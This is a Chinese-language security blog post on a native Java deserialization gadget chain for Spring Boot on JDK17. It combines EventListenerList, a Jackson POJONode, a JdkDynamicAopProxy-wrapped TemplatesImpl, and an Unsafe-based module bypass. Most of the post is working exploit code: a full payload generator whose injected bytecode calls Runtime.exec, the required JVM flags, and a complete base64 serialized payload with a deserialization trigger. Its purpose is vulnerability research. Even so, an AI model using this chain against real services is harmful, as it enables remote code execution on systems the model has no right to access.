高版本JDK_Spring原生反序列化链
上班之后更新博客的速度慢了起来,没有多少写博客的动力了,有点摆过头了,最近在p牛的代码审计星球看到有师傅发了篇高版本JDK下的Spring原生链,让TemplatesImpl在高版本也可以进行利用了。这几天活稍微少点正好抽空研究下。
这一期从环境搭建到漏洞原理全给你整明白咯
环境搭建
起一个JDK17的maven环境

在pom.xml中加入spring依赖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion>
<groupId>com.study</groupId> <artifactId>High_JDK_Spring</artifactId> <version>1.0-SNAPSHOT</version>
<properties> <maven.compiler.source>17</maven.compiler.source> <maven.compiler.target>17</maven.compiler.target> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> </properties>
<dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> <version>3.5.4</version> </dependency>
<dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.30.2-GA</version> </dependency> </dependencies> </project>
|
漏洞分析
EventListenerList#readObject
在低版本jdk下我们可以利用spring自带的jackson反序列化链,因为在jackson中POJONode#toString方法可以调用getter方法,所以可以利用getter调用getOutputProperties来实现RCE,然后再找个地方去触发POJONode#toString,然后利用的是BadAttributeValueExpException#readObject,这个类是javax自带的原生类,在低版本下会在readObject的时候触发toString

而在JDK17这BadAttributeValueExpException就利用不了了,没有触发toString的点了。

那么这个时候我们就需要一个新的入口:EventListenerList#readObject,可以看一下这位师傅的博客EventListenerList触发任意toString,利用字符串与对象的拼接来触发toString:
1 2 3 4 5 6 7 8 9 10 11
| public static EventListenerList getEventListenerList(Object obj) throws Exception { EventListenerList list = new EventListenerList(); UndoManager undoManager = new UndoManager();
Vector vector = (Vector) getFieldValue(undoManager, "edits"); vector.add(obj);
setFieldValue(list, "listenerList", new Object[]{Class.class, undoManager}); return list; }
|
从JDK9开始,Java中引入了JPMS(Java Platform Module System, 模块系统),也就是Project Jigsaw。在JDK17里,这一机制更是被完全强化:
- 背部API封装:之前我们可以随意
import com.sum.*或者sun.*的内部类,但在JDK17,这些类已经被模块系统封装 默认不可访问 - 强封装机制:模块之间的可见性由
module-info.java描述,如果某个宝没有被exports,外部模块就无法直接访问 - 反射限制在JDK8及之前我们常常通过
setAccessible(true)绕过private限制,反射访问类的私有字段或构造函数。但在JDK17里,即使用setAccessible(true),也会被InaccessibleObjectException拦住,除非在JVM启东市手动加--add-opens参数开放模块或者使用Java Agent/Instrumentation来取消这一限制
所以我们无法直接利用getOutputProperties,那么现在最关键的问题就是如何在JDK17中利用getOutputProperties
Unsafe
那么我们就可以利用Unsafe篡改Module机制,从而绕过JDK17的强封装
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| private static Method getMethod(Class clazz, String methodName, Class[] params) { Method method = null; while (clazz != null) { try { method = clazz.getDeclaredMethod(methodName, params); break; }catch (NoSuchMethodException e) { clazz = clazz.getSuperclass(); } } return method; } private static Unsafe getUnsafe(){ Unsafe unsafe = null; try { Field field = Unsafe.class.getDeclaredField("theUnsafe"); field.setAccessible(true); unsafe = (Unsafe) field.get(null); } catch (Exception e) { throw new AssertionError(e); } return unsafe; } public void bypassModule(ArrayList<Class> classes) { try { Unsafe unsafe = getUnsafe(); Class currentClass = this.getClass(); try { Method getModuleMethod = getMethod(Class.class, "getModule", new Class[0]); if (getModuleMethod != null) { for (Class clazz : classes) { Object targetModule = getModuleMethod.invoke(clazz, new Object[]{}); unsafe.getAndSetObject(currentClass, unsafe.objectFieldOffset(Class.class.getDeclaredField("module")),targetModule); } } }catch (Exception e) { } }catch (Exception e) { e.printStackTrace(); } }
|
在这里需要注意一个很重要的点,在以往我们利用TemplateImpl的时候,被利用的目标都需要继承AbstractTranslet,但这在高版本下肯定是不行的,因为必然涉及到模块化的检测报错
去除AbstractTranslet限制
大家可以看下 这位师傅写的博客TemplatesImpl 分析),然后我们就可以构造出如下的构造方法:
1 2 3 4
| TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "xxx"); setFieldValue(templates, "_bytecodes", new byte[][]{code1, code2}); setFieldValue(templates, "_transletIndex", 0);
|
jackson中的getter稳定触发问题
在去年奇安信的一篇JDBC Attack与高版本JDK下的JNDI Bypass)中有提到过JdkDynamicAopProxy可以用于解决jackson中的getter稳定触发问题。
1 2 3 4 5 6 7 8 9
| public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception { AdvisedSupport advisedSupport = new AdvisedSupport(); advisedSupport.setTarget(templates); Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getDeclaredConstructor(AdvisedSupport.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); Object proxy = Proxy.newProxyInstance(ClassLoader.getPlatformClassLoader(), new Class[]{Templates.class}, handler); return proxy; }
|
JdkDynamicAopProxy除了用于解决这个问题外,还用于给TemplateImpl创建一个新的类
但是加了aop类代理后是javax.xml.transform.Templates,在javax.xml包下从而绕过了包管理机制
完整的Gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163
| import javax.swing.event.EventListenerList; import javax.swing.undo.UndoManager; import javax.xml.transform.Templates; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.*; import java.util.ArrayList; import java.util.Base64; import java.util.Vector;
import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import org.springframework.aop.framework.AdvisedSupport; import sun.misc.Unsafe;
public class HighJDKSpringRCE { public static void main(String[] args) throws Exception { try { ClassPool pool = ClassPool.getDefault(); CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace"); jsonNode.removeMethod(writeReplace); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); jsonNode.toClass(classLoader, null); } catch (Exception e) { }
ArrayList<Class> classes = new ArrayList<>(); classes.add(TemplatesImpl.class); classes.add(POJONode.class); classes.add(EventListenerList.class); classes.add(HighJDKSpringRCE.class); classes.add(Field.class); classes.add(Method.class);
new HighJDKSpringRCE().bypassModule(classes);
byte[] code1 = getTemplateCode(); byte[] code2 = ClassPool.getDefault().makeClass("fushuling").toBytecode();
TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "xxx"); setFieldValue(templates, "_bytecodes", new byte[][]{code1, code2}); setFieldValue(templates, "_transletIndex", 0);
POJONode node = new POJONode(makeTemplatesImplAopProxy(templates));
EventListenerList eventListenerList = getEventListenerList(node); System.out.println(serialize(eventListenerList, true)); }
public static byte[] serialize(Object obj, boolean flag) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(obj); oos.close(); if (flag) { System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray())); } return baos.toByteArray(); }
public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception { AdvisedSupport advisedSupport = new AdvisedSupport(); advisedSupport.setTarget(templates); Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getDeclaredConstructor(AdvisedSupport.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); Object proxy = Proxy.newProxyInstance(ClassLoader.getPlatformClassLoader(), new Class[]{Templates.class}, handler); return proxy; }
public static EventListenerList getEventListenerList(Object obj) throws Exception { EventListenerList list = new EventListenerList(); UndoManager undoManager = new UndoManager();
Vector vector = (Vector) getFieldValue(undoManager, "edits"); vector.add(obj);
setFieldValue(list, "listenerList", new Object[]{Class.class, undoManager}); return list; }
private static Unsafe getUnsafe(){ Unsafe unsafe = null; try { Field field = Unsafe.class.getDeclaredField("theUnsafe"); field.setAccessible(true); unsafe = (Unsafe) field.get(null); } catch (Exception e) { throw new AssertionError(e); } return unsafe; }
public static byte[] getTemplateCode() throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass template = pool.makeClass("MyTemplate"); String block = "Runtime.getRuntime().exec(\"calc\");"; template.makeClassInitializer().insertBefore(block); return template.toBytecode(); }
private static Method getMethod(Class clazz, String methodName, Class[] params) { Method method = null; while (clazz != null) { try { method = clazz.getDeclaredMethod(methodName, params); break; }catch (NoSuchMethodException e) { clazz = clazz.getSuperclass(); } } return method; }
public void bypassModule(ArrayList<Class> classes) { try { Unsafe unsafe = getUnsafe(); Class currentClass = this.getClass(); try { Method getModuleMethod = getMethod(Class.class, "getModule", new Class[0]); if (getModuleMethod != null) { for (Class clazz : classes) { Object targetModule = getModuleMethod.invoke(clazz, new Object[]{}); unsafe.getAndSetObject(currentClass, unsafe.objectFieldOffset(Class.class.getDeclaredField("module")),targetModule); } } }catch (Exception e) { } }catch (Exception e) { e.printStackTrace(); } }
public static Object getFieldValue(Object object, String fieldName) throws Exception { Field field = null; Class c = object.getClass(); for (int i = 0; i < 5; i++) { try { field = c.getDeclaredField(fieldName); } catch (NoSuchFieldException e) { c = c.getSuperclass(); } } field.setAccessible(true); return field.get(object); }
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception { Field dField = object.getClass().getDeclaredField(fieldName); dField.setAccessible(true); dField.set(object, value); } }
|
生成payload的时候记得加个vm的配置
1
| --add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED --add-opens jdk.unsupported/sun.misc=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED
|

添加运行选项这里把添加虚拟机选项勾上,然后把配置加上就好了

然后就是读取数据进行反序列化,这里就不需要加上虚拟机配置了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import java.io.ByteArrayInputStream; import java.io.ObjectInputStream; import java.util.Base64;
public class Read { public static void unserialize(byte[] exp) throws Exception { ByteArrayInputStream bais = new ByteArrayInputStream(exp); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); }
public static void main(String[] args) throws Exception { String exp = "rO0ABXNyACNqYXZheC5zd2luZy5ldmVudC5FdmVudExpc3RlbmVyTGlzdJFIzC1z3w7eAwAAeHB0AA9qYXZhLmxhbmcuQ2xhc3NzcgAcamF2YXguc3dpbmcudW5kby5VbmRvTWFuYWdlcvF+nx0IKsIdAgACSQAOaW5kZXhPZk5leHRBZGRJAAVsaW1pdHhyAB1qYXZheC5zd2luZy51bmRvLkNvbXBvdW5kRWRpdKWeULpT25X9AgACWgAKaW5Qcm9ncmVzc0wABWVkaXRzdAASTGphdmEvdXRpbC9WZWN0b3I7eHIAJWphdmF4LnN3aW5nLnVuZG8uQWJzdHJhY3RVbmRvYWJsZUVkaXQIDRuO7QILEAIAAloABWFsaXZlWgALaGFzQmVlbkRvbmV4cAEBAXNyABBqYXZhLnV0aWwuVmVjdG9y2Zd9W4A7rwEDAANJABFjYXBhY2l0eUluY3JlbWVudEkADGVsZW1lbnRDb3VudFsAC2VsZW1lbnREYXRhdAATW0xqYXZhL2xhbmcvT2JqZWN0O3hwAAAAAAAAAAF1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAABkc3IALGNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLlBPSk9Ob2RlAAAAAAAAAAICAAFMAAZfdmFsdWV0ABJMamF2YS9sYW5nL09iamVjdDt4cgAtY29tLmZhc3RlcnhtbC5qYWNrc29uLmRhdGFiaW5kLm5vZGUuVmFsdWVOb2RlAAAAAAAAAAECAAB4cgAwY29tLmZhc3RlcnhtbC5qYWNrc29uLmRhdGFiaW5kLm5vZGUuQmFzZUpzb25Ob2RlAAAAAAAAAAECAAB4cHN9AAAAAQAdamF2YXgueG1sLnRyYW5zZm9ybS5UZW1wbGF0ZXN4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcgA0b3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkpka0R5bmFtaWNBb3BQcm94eUzEtHEO65b8AgABTAAHYWR2aXNlZHQAMkxvcmcvc3ByaW5nZnJhbWV3b3JrL2FvcC9mcmFtZXdvcmsvQWR2aXNlZFN1cHBvcnQ7eHBzcgAwb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkFkdmlzZWRTdXBwb3J0JMuKPPqkxXUCAAZaAAtwcmVGaWx0ZXJlZEwAE2Fkdmlzb3JDaGFpbkZhY3Rvcnl0ADdMb3JnL3NwcmluZ2ZyYW1ld29yay9hb3AvZnJhbWV3b3JrL0Fkdmlzb3JDaGFpbkZhY3Rvcnk7TAAKYWR2aXNvcktleXQAEExqYXZhL3V0aWwvTGlzdDtMAAhhZHZpc29yc3EAfgAbTAAKaW50ZXJmYWNlc3EAfgAbTAAMdGFyZ2V0U291cmNldAAmTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL1RhcmdldFNvdXJjZTt4cgAtb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLlByb3h5Q29uZmlni0vz5qfg928CAAVaAAtleHBvc2VQcm94eVoABmZyb3plbloABm9wYXF1ZVoACG9wdGltaXplWgAQcHJveHlUYXJnZXRDbGFzc3hwAAAAAAAAc3IAPG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5EZWZhdWx0QWR2aXNvckNoYWluRmFjdG9yeQPJ50kFqahMAgAAeHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AInNxAH4AIQAAAAB3BAAAAAB4c3IANG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLnRhcmdldC5TaW5nbGV0b25UYXJnZXRTb3VyY2V9VW71x/j6ugIAAUwABnRhcmdldHEAfgAOeHBzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAAAAAAAHVyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF/gGCFTgAgAAeHAAAAFeyv66vgAAADcAGQEACk15VGVtcGxhdGUHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEAD015VGVtcGxhdGUuamF2YQEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAKAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADAANCgALAA4BAARjYWxjCAAQAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAEgATCgALABQBAAY8aW5pdD4MABYACAoABAAXACEAAgAEAAAAAAACAAgABwAIAAEACQAAABYAAgAAAAAACrgADxIRtgAVV7EAAAAAAAEAFgAIAAEACQAAABEAAQABAAAABSq3ABixAAAAAAABAAUAAAACAAZ1cQB+AC4AAACiyv66vgAAADcADAEACWZ1c2h1bGluZwcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAApTb3VyY2VGaWxlAQAOZnVzaHVsaW5nLmphdmEBAAY8aW5pdD4BAAMoKVYMAAcACAoABAAJAQAEQ29kZQAhAAIABAAAAAAAAQABAAcACAABAAsAAAARAAEAAQAAAAUqtwAKsQAAAAAAAQAFAAAAAgAGcHQAA3h4eHB3AQB4cHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBweAAAAAAAAABkcHg="; unserialize(Base64.getDecoder().decode(exp)); } }
|

OK!结束